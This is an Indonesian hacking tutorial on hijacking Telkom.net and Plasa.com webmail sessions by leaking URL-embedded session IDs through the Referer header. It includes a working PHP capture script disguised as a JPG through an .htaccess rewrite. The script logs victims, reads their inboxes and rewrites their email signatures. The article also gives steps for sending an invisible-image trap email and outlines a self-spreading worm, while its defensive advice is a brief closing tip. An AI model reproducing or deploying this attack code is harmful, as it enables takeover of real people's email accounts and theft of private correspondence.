Telkom.net dan Plasa.com adalah fasilitas email gratis yang diberikan oleh PT Telkom. Pengguna email telkomnet dan plasacom patut waswas, karena amat mudah untuk menghack email di sana. Hanya dengan membuka sebuah email yang telah dirancang khusus oleh attacker, email anda bisa menjadi milik attacker. Dalam artikel ini saya akan tunjukkan apa kelemahannya, bagaimana cara mengexploitasi kelemahan itu dan tentu saja bagaimana cara agar terhindar dari serangan itu.
Webmail Session Hijacking
Webmail Session Hijacking
Teknik hacking email dalam artikel ini adalah dengan cara hijacking session. Oleh karena itu teknik ini hanya bisa dilakukan pada webmail telkom.net dan plasa.com, pengguna telkom.net dan plasa.com yang menggunakan Outlook/Thunderbird tidak rentan terhadap serangan ini.
Karena http adalah protokol yang stateless, sedangkan untuk membuat session server harus bisa memantau state user, maka digunakanlah session ID sebagai kunci atau penanda suatu session. Bila sessionID diketahui attacker, maka attacker bisa menguasai session korban. Orang lain, siapapun yang membawa sessionID anda, akan dianggap oleh server sebagai anda. Hijacking session adalah usaha untuk mendapatkan session ID korban, dengan cara predicting, capturing, atau fixating session ID.
SessionID diberikan oleh server dan harus dikembalikan lagi oleh browser (client) setiap kali membuat request. Mekanisme penyimpanan dan pengiriman session ID bisa dilakukan dengan dua cara:
- Session Cookie: Session ID diberikan server dalam bentuk cookie dan disimpan oleh browser. Setiap browser melakukan request, cookie tersebut akan dikembalikan ke server lagi sebagai bukti bahwa user tersebut adalah masih orang yang sama.
- URL Rewriting: Server menyisipkan session ID dalam halaman html yang dikirimkan ke browser. Session ID tersebut dimasukkan dalam bentuk URL di tag html tertentu seperti link (tag A). Contohnya bila URL link aslinya adalah http://www.somesite.com/inbox.php Oleh server link tersebut akan disisipkan sessionID menjadi:
<A href="http://www.somesite.com/inbox.php?PHPSESSID=xxxxxxxxx">INBOX</A>
Dengan cara ini setiap kali user mengklik link tersebut, maka sessionID juga akan dikirim ke server sebagai bukti bahwa user tersebut adalah pengguna session yang sah.
SessionID paling aman disimpan dan dikirim kembali ke server dalam bentuk cookie, apalagi bila cookie tersebut diamankan dengan bit secure atau httponly (baca: protecting cookie with httponly ). Kemungkinan serangan yang bisa dilancarkan untuk mencuri cookie adalah dengan XSS attack dan sniffing attack, kedua jenis serangan itu bisa dicegah dengan bit secure dan httponly.
Bila cookie telah diamankan dengan secure bit, maka cookie tersebut tidak bisa dicuri dengan sniffing karena cookie hanya dikirim melalui https, cookie tersebut juga tidak bisa dicuri dengan serangan XSS karena akses javascript terhadap cookie telah ditutup. Bila cookie hanya dilindungi dengan httponly, maka cookie itu aman dari serangan XSS, namun rentan sniffing bila cookie dikirimkan melalui http biasa.
Berbeda dengan cookie, menyimpan Session ID dalam URL sangatlah berbahaya, karena URL mudah dilihat, dikopi dan disimpan dalam bookmark, log file dan sebagainya. Selain itu sessionID juga bisa bocor ke tempat lain melalui header Referer. Sebab header Referer bertugas membawa URL dimana sebuah request dilakukan. Bila dalam suatu halaman terjadi request untuk mengambil gambar, maka header Referer akan mengandung URL dari halaman tersebut. Dalam artikel ini saya akan menggunakan jurus header Referer untuk membajak session webmail Telkom.net dan Plasa.com. Bagi pemilik situs, tentu sering melihat header ini dengan program statistic seperti Awstats untuk melihat pengunjung situs berasal dari situs mana saja.
SessionID webmail Telkom.net dan Plasa.com disimpan pada URL sehingga memudahkan pembajakan session. Mari kita lihat bagaimana bentuk URL webmail telkom.net dan plasa.com:
http://mail.telkom.net/Session/206017-7vY8EVuJF2935NV9Fhzl-kmbcuww/mailbox.wssp?Mailbox=INBOX& http://mail1.plasa.com/Session/70174-k2O8e3vcnJEFxmxWYpOX-kmbcuwc/mailbox.wssp?Mailbox=INBOX&
Stealing SessionID from Referer Header
Session ID pada URL telkom.net dan plasa.com disisipkan setelah /Session/ hingga karakter / (slash). Sekarang bagaimana caranya attacker bisa mengetahui URL yang sedang dibuka korban di browsernya? Di awal saya sudah menyebutkan sekilas tentang header request yang bernama Referer. Tugas dari header ini adalah mengirimkan URL halaman yang melakukan request. Agar lebih jelasnya mari kita lihat sebuah contoh.
Ketika pengunjung sedang membuka halaman dengan URL:
http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/Mailbox.wssp?Mailbox=INBOX
Kemudian ketika terjadi request ke sebuah file image:
http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif
Maka pada request GET tersebut akan ada header seperti di bawah ini:
1 2 3 4 5 6 7 8 9 10 11 | GET /Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif HTTP/1.1 Host: mail.telkom.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.0.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/mailbox.wssp?Mailbox=INBOX& Cache-Control: max-age=0 |
Pada baris ke-10 terdapat header Referer yang menunjukkan bahwa request tersebut terjadi ketika kepada user sedang berada di URL tersebut. Karena URL yang direquest adalah http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif, maka web server mail.telkom.net tempat file batal.gif tersebut berada, dapat mengetahui URL ketika request tersebut terjadi. Sekarang bayangkan apa yang terjadi bila request tersebut bukan mendownload image dari mail.telkom.net, tapi dari server www.evilhackersite.com/image.jpg. Web server di www.evilhackersite.com tentu akan mendapatkan URL tempat terjadinya request dari header Referer. Dan karena URL tersebut mengandung Session ID, maka dengan mudah attacker akan membajak session anda.
Attack Scenario
Webmail telkom.net dan plasa.com menggunakan URL sebagai mekanisme pertukaran session ID. Attacker bisa menjebak korban untuk membuka sebuah email yang mengandung gambar yang berlokasi di server attacker. Tag IMG tersebut akan membuat browser korban melakukan request ke server attacker, dengan tentu saja mengirimkan URL korban dalam header Referer. Dengan mengetahui session ID korban, attacker dengan mudah menguasai account webmail korban.
Preparing the Script
Sebelum bisa melakukan serangan, yang pertama harus dilakukan adalah menyiapkan server side script sebagai target request untuk menangkap SessionID korban. Server side script ini akan di-”masking” sebagai file JPG dengan menggunakan mod_rewrite Apache (.htaccess). Server side script yang dimasking sebagai file JPG inilah yang akan dimasukkan dalam tag IMG dalam email yang dibaca korban. Bila korban membaca email attacker, maka akan terjadi request ke server side script itu, sehingga attacker bisa mendapatkan session ID korban dan menguasai emailnya.
URL yang akan kita jadikan tujuan request adalah: http://www.ilmuhacking.com/mylab/image.jpg yang sebenarnya adalah masking untuk server side script http://www.ilmuhacking.com/mylab/checkmail.php. Dengan menggunakan mod_rewrite Apache dan settings .htacess berikut ini masking checkmail.php menjadi image.jpg bisa dilakukan:
1 2 3 | RewriteEngine On RewriteBase / RewriteRule mylab/image.jpg mylab/checkmail.php |
Berikutnya saya harus menyiapkan file checkmail.php. Tugas dari script php itu adalah mendapatkan session ID kemudian langsung membajak session korban bermodalkan session ID tersebut.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | <?php // Ambil header Referer $ref = $_SERVER["HTTP_REFERER"]; $telkomnet = false; $plasacom = false; $width = 468; $height = 100; if (strpos($ref,"telkom.net")>-1) { $telkomnet = true; } if (strpos($ref,"plasa.com")>-1) { $plasacom = true; } if ($telkomnet===false && $plasacom===false) { exit(); } $file = fopen("daftarkorban.txt","a"); $url_tokens = parse_url($ref); $host = $url_tokens["host"]; $tokens = explode("/",$ref); $sessid = $tokens[4]; fwrite($file,"######\n"); fwrite($file,"REFERER:".$_SERVER["HTTP_REFERER"]."\n"); fwrite($file,"SESSID:".$sessid."\n"); $urlhost = "http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&"; $inboxhtml = file_get_contents($urlhost); preg_match('/<title>(.*?)<\/title>/i', $inboxhtml, $matches); $title=$matches[1]; $email = $title; $pos = strpos($title," "); if ($pos > -1) { $email = substr($title,0,$pos); } fwrite($file,"KORBAN:".$email."\n"); fwrite($file,"******\n"); fclose($file); $image = ImageCreate($width, $height); $white = ImageColorAllocate($image, 255, 255, 255); $black = ImageColorAllocate($image, 0, 0, 0); $grey = ImageColorAllocate($image, 204, 204, 204); ImageFill($image, 0, 0, $black); ImageString($image, 3, 15, 5, $sessid, $white); ImageString($image, 3, 25, 25, $email, $white); // Writing Signature... $url = "http://mail.telkom.net/Session/$sessid/settings.wssp"; if ($plasacom==true) { $url = "http://mail1.plasa.com/Session/$sessid/settings1.wssp"; } $old_settings = file_get_contents($url); preg_match('/<textarea(.*?)>(.*?)<\/textarea>/i', $old_settings, $matches); $oldsig = $matches[2]; $data = array(); $data["UserFrom"] = $email; $newsig = "[YOUR EMAIL HAS BEEN HACKED]".$oldsig; $data["Signature"] = $newsig; $data["Update"] = "Update"; $response = doPost($url,$data); if ((strpos($response,"Updated")>-1 && $telkomnet==true) || $plasacom==true) { ImageString($image, 3, 35, 50, "Signature anda berhasil diganti menjadi:" , $white); ImageString($image, 3, 45, 65, $newsig , $white); } header("Content-Type: image/jpeg"); ImageJpeg($image); ImageDestroy($image); function doPost($url,$data) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $response = curl_exec($ch); if(curl_errno($ch)) { $response = curl_error($ch); } curl_close($ch); return $response; } ?> |
Cara kerja script di atas adalah: Pada baris ke-3 isi header Referer diambil. Kemudian dibuat dan dibuka file daftarkorban.txt. File ini adalah log yang menyimpan daftar korban. Pada baris ke-22, session ID diambil dari header referer. Setelah session ID didapatkan kini script bisa mengubah signature korban, dengan cara mengirimkan POST request ke http://mail.telkom.net/Session/[SESSIONID_KORBAN]/settings.wssp, perhatikan baris ke-65. Setelah mengubah signature korban, pada baris ke-66 sampai baris ke-72, script membuat image dengan pesan “Signature anda berhasil diganti menjadi:”.
Launch The Attack
Oke, kini semua persiapan sudah siap. Kini saatnya kita melancarkan serangan dengan mengirimkan email html yang mengandung tag IMG. Dalam contoh attacker adalah rizki.wicaksono@telkom.net dan korban adalah rizki.wicaksono@plasa.com. Ingat ini hanya contoh, dalam kenyataannya attacker bisa menggunakan email apapun, bahkan email palsu (anonymous). Perhatikan gambar berikut ini yang menunjukan bagaimana email yang berisi jebakan dibuat dan ditujukan untuk korban.
Dalam gambar tersebut email diisi dengan tag HTML IMG. Perhatikan bahwa saya bisa saja membuat image tersebut invisible dengan memberikan atribut width dan src 0. Dengan membuat image menjadi invisible, korban tidak akan menyadari bahwa emailnya telah dibajak. Tapi untuk contoh saya membiarkan gambar berukuran besar. Berikut ini adalah isi tanda tangan (signature) email korban sebelum email dibuka.
Dan gambar berikut adalah gambar ketika email attacker tiba.
Dan gambar berikut adalah gambar ketika email attacker dibuka oleh korban. Pada gambar tersebut terlihat bahwa session id korban dan pesan bahwa signature korban berubah tertulis dalam file image.jpg.
Pada saat korban membuka email dari attacker, pada saat itu juga attacker menguasai penuh account email korban. Dalam contoh artikel ini attacker mengubah signature korban dengan menambahkan string [YOUR EMAIL HAS BEEN HACKED]. Berikut ini adalah gambar signature korban setelah korban membuka email attacker.
Worm Attack: More Dangerous Scenario
Skenario serangan yang lebih berbahaya adalah bila attacker mengeksploitasi kelemahan ini untuk menciptakan worm. Ingat bahwa ketika attacker mendapatkan session ID, pada saat itu attacker memiliki power yang setara dengan korban. Dengan session korban, attacker bisa mengirimkan email serangan yang sama ke calon korban lain yang ada di dalam daftar buku alamat korban. Begitu teman korban membuka email itu, maka session dia juga dalam genggaman attacker dan dia juga akan menyebarkan serangan ke teman-temannya. Hal ini akan memicu reaksi berantai yang berbahaya.
Sulitkah membuat worm seperti itu? Tidak sulit kok, mudah sekali. Semua itu tidak lebih dari kombinasi request GET dan POST dengan berbekal session ID korban. Attacker harus membaca phone book dengan mengirim request HTTP (GET/POST) dengan session ID korban. Setelah itu attacker akan mengirimkan email serangan ke teman-teman korban juga dengan melakukan request HTTP dengan session ID korban. Begitu seterusnya. Tidak sulit bukan, apalagi buat orang yang sudah sering memprogram.
Tips Menghindari Serangan
Karena serangan ini dilakukan dengan membajak session web, maka serangan ini hanya bisa dilakukan bila korban membaca email telkom.net dan plasa.com dengan webmail. Jadi agar terhindar dari serangan ini, gunakanlah akses POP3 atau IMAP untuk membaca email. Dengan menggunakan email client non-web seperti Thunderbird dan Outlook anda akan aman dari serangan ini.